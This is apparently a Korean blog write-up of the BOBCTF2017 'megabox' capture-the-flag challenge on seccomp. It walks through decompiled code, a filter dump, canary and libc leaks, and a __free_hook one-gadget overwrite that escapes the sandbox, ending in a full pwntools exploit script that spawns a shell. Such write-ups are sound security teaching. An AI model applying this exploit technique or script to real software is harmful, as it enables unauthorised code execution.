BOBCTF2017] megabox

woounnan·2020년 5월 3일
1

wargame

목록 보기
46/59

개요

seccomp의 이해를 위한 실습


문제

이름을 입력하면 메뉴가 주어진다.
피드백 읽기 및 쓰기, 프로그램 종료로 구분된다.


풀이

소스 분석

IDA로 확인해보자.

main

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  int stat_loc; // [sp+18h] [bp-18h]@5
  __pid_t pid; // [sp+1Ch] [bp-14h]@3
  void *buf; // [sp+20h] [bp-10h]@1
  void *v7; // [sp+28h] [bp-8h]@1

  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  alarm(0x1Eu);
  printf("your name... ", 0LL, a2);
  buf = malloc(0x20uLL);
  read(0, buf, 0x20uLL);
  printf("this step is for performance :)", buf);
  v7 = mmap(0x41410000, 0x21000uLL, 3, 34, -1, 0LL);
  if ( v7 == -1 )
    exit(0);
  pid = clone(fn, v7 + 4096, 256, 0LL);
  if ( pid == -1 )
    exit(0);
  if ( waitpid(pid, &stat_loc, 2147483648) == -1 )
    exit(0);
  printf("sayonara %s\n", buf);
  free(buf);
  return 0LL;
}

이름을 입력받고 clone()을 이용하여 fn 루틴에 대한 서브 프로세스를 생성한다.

자식 프로세스의 종료를 기다린 후 free()하고 종료된다.

주목할 점은 clone은 두 번째 인자로 자식 프로세스가 사용하는 스택주소를 정해줄 수 있는데, mmap으로 맵핑한 주소를 전달하고 있다는 것이다.

fn

__int64 __fastcall fn(void *arg)
{
  __int64 result; // rax@2
  __int64 v2; // rcx@12
  char v3; // [sp+7h] [bp-99h]@3
  int v4; // [sp+8h] [bp-98h]@3
  int v5; // [sp+Ch] [bp-94h]@1
  char buf; // [sp+10h] [bp-90h]@6
  __int64 v7; // [sp+98h] [bp-8h]@1

  v7 = *MK_FP(__FS__, 40LL);
  v5 = 0;
  if ( sub_400B2D() == 1 )
  {
    result = 0LL;
  }
  else
  {
    while ( 1 )
    {
      while ( 1 )
      {
        puts("\n[menu]");
        puts("1. write feedback");
        puts("2. read feedback");
        puts("3. exit");
        puts("menu>>> ");
        scanf("%d%c", &v4, &v3);
        if ( v4 != 2 )
          break;
        if ( v5 )
        {
          puts("wait... reading the feedback book is hard work.");
          puts("oops!!");
          write(1, &buf, 0x1000uLL);
          puts("thank you.");
          v5 = 0;
        }
      }
      if ( v4 == 3 )
        break;
      if ( v4 == 1 )
      {
        puts("feedback>>> ");
        gets(&buf);
        puts("thank you.");
        v5 = 1;
      }
    }
    result = 0LL;
  }
  v2 = *MK_FP(__FS__, 40LL) ^ v7;
  return result;
}

처음에 sub_400B2D()에서 seccomp를 설정한다.
그리고 메뉴를 입력받는데,

피드백 입력시 오버플로우가 발생하고
읽기시 출력크기가 버퍼크기를 초과하여 스택이 leak된다.
함수에서 canary를 검사하지만 이 값을 확인할 수 있으므로 우회 가능하다.

sub_400B2D

signed __int64 sub_400B2D()
{
...
...
...
  if ( prctl(
         38,
         1LL,
         0LL,
         0LL,
         0LL,
         *&v1,
         &v3,
         *&v3,
         *&v7,
         6LL,
         32LL,
         *&v19,
         *&v23,
         *&v27,
         *&v31,
         *&v35,
         *&v39,
         *&v43,
         *&v47,
         *&v51,
         *&v55,
         6LL) )
  {
    perror("prctl(NO_NEW_PRIVS)");
  }
  else
  {
    if ( !prctl(
            22,
            2LL,
            &v1,
            *&v1,
            v2,
            *&v3,
            *&v7,
            *&v11,
            *&v15,
            *&v19,
            *&v23,
            *&v27,
            *&v31,
            *&v35,
            *&v39,
            *&v43,
            *&v47,
            *&v51,
            *&v55,
            *&v59) )
      return 0LL;
    perror("prctl(SANDBOX_ERROR)");
  }
  if ( *__errno_location() == 22 )
    fwrite("FILTER failed\n", 1uLL, 0xEuLL, stderr);
  return 1LL;
}

sub_400B2D를 보면 bpf 필터식을 이용해 seccomp를 설정하는 코드를 확인할 수 있다.

필터식

사용가능한 시스템콜을 확인하기 위해 seccomp-tools로 필터식을 살펴보자.

root@kali:/work/ctf/BOBCTF2017/megabox_d# cat dump
your name... this step is for performance :) line  CODE  JT   JF      K
=================================
 0000: 0x20 0x00 0x00 0x00000004  A = arch
 0001: 0x15 0x01 0x00 0xc000003e  if (A == ARCH_X86_64) goto 0003
 0002: 0x06 0x00 0x00 0x00000000  return KILL
 0003: 0x20 0x00 0x00 0x00000000  A = sys_number
 0004: 0x15 0x00 0x01 0x0000000f  if (A != rt_sigreturn) goto 0006
 0005: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0006: 0x15 0x00 0x01 0x000000e7  if (A != exit_group) goto 0008
 0007: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0008: 0x15 0x00 0x01 0x0000003c  if (A != exit) goto 0010
 0009: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0010: 0x15 0x00 0x01 0x00000000  if (A != read) goto 0012
 0011: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0012: 0x15 0x00 0x01 0x00000001  if (A != write) goto 0014
 0013: 0x06 0x00 0x00 0x7fff0000  return ALLOW
 0014: 0x06 0x00 0x00 0x00000000  return KILL
root@kali:/work/ctf/BOBCTF2017/megabox_d# 

필터식을 통해 read, write, exit. sigreturn, exit_group의 시스템콜에 대해서만 허용하고 있다.

seccomp bypass

앞서 자식프로세스가 종료된 후 부모프로세스의 마지막 루틴을 보면 free()를 호출한다는 것을 확인했었다.

__free_hook을 one gadget으로 변경시킨다면, 이 때의 코드는 부모프로세스가 실행하는 것이므로 seccomp 필터에 걸리지 않고 one gadget이 실행되어 쉘을 얻을 수 있다.

leak libc

oneshot을 수행하기 위해 libc base 주소를 알아야 한다.
하지만, 이미 프로그램에서는 libc의 주소를 제공해주고 있다.

피드백 출력시 leak되는 스택값에서 return address는 자식프로세스를 생성한 clone()의 주소를 가리킨다.

이 값을 이용해 libc base 주소를 구할 수 있다.

libc_base = addr_ret - 0xFD2EF

return to clone

oneshot을 위한 페이로드를 모두 구성하고 나면, free()를 실행시켜야 한다. 하지만 직접 해당 주소로 접근하면 자식프로세스 소유인 쓰레드가 실행하게 되므로 seccomp에서 필터링 된다.

따라서 원래의 에필로그 코드가 실행되도록, 페이로드의 마지막 주소를 원래 스택에 저장되있던 리턴 주소로 설정해야 한다.

그러면 자식프로세스가 정상종료되고 부모프로세스 권한으로 free()가 수행되어 oneshot을 성공할 수 있을 것이다.

페이로드

파이썬 스크립트를 이용하여 작성했다.

from pwn import *
context.update(arch='amd64', os= 'linux', log_level='debug')
def _print():
    p.sendlineafter('>> ', '2')
    p.recvuntil('oops!!\n')
    data = p.recv(1000)
    p.recvuntil('thank you.')
    return data

def _write(contents):
    p.sendlineafter('>> ', '1')
    p.sendlineafter('>> ', contents+'\x00')
def _exit():
    p.sendlineafter('>> ', '3')


p = process("megabox")

p.recvrepeat(0.2)
p.sendline('1')

_write('1')
data = _print()

canary = data[0x90-8:0x90]
log.info('canary: ' + hex(u64(canary)))
addr_ret =  u64(data[0x90+8:0x90+16])
log.info('ret: ' + hex(addr_ret))


elf = ELF('megabox')
addr_gets_plt = elf.plt['gets']
libc = ELF('/lib/x86_64-linux-gnu/libc.so.6')
offset_freeHook = libc.symbols['__free_hook']

log.info('__free_hook: ' + hex(offset_freeHook))

offset_oneshot = 0xe926b
addr_prdi_ret = 0x401043
addr_prsi_ret = 0x401041

addr_main = 0x400E7F
libc_base = addr_ret - 0xFD2EF

addr_oneshot = libc_base + offset_oneshot
addr_freeHook = libc_base + offset_freeHook
addr_callFree = 0x400FD0 
addr_free_plt = elf.plt['free']

log.info('gets: ' + hex(addr_gets_plt))


_write('a'*0x88 + canary + 'd'*8 + p64(addr_prdi_ret) + p64(addr_freeHook) +  p64(addr_gets_plt) + p64(addr_ret))

_exit()

p.sendline(p64(addr_oneshot)) #overwrite address of onegadget to __free_hook


p.interactive()

증명

페이로드를 실행하면 쉘이 실행되는 것을 확인할 수 있다.

0개의 댓글